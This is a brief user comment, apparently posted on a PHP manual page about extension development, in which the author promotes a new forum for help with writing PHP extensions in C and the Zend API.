Writing a PHP Extension can sometimes be a difficult task that requires a knowledge of both the internals of PHP and the Zend API and a fluency in C.  I have created a forum where you can ask questions and get help with building a PHP Extension and share your knowledge of this powerful way to speed up your code and use pre-written code in your PHP project.  Please visit my forum at:

http://www.psikic.com/modules.php?name=Forums&file=viewforum&f=13

The community is very new but I will do my best to answer anyones questions.  While you are there, make sure to visit the other forums.  Thanks!
add a note add a note

后退 | 起点 | 前进
Initialization File Support | 上一级 | Reference: Some Configuration Macros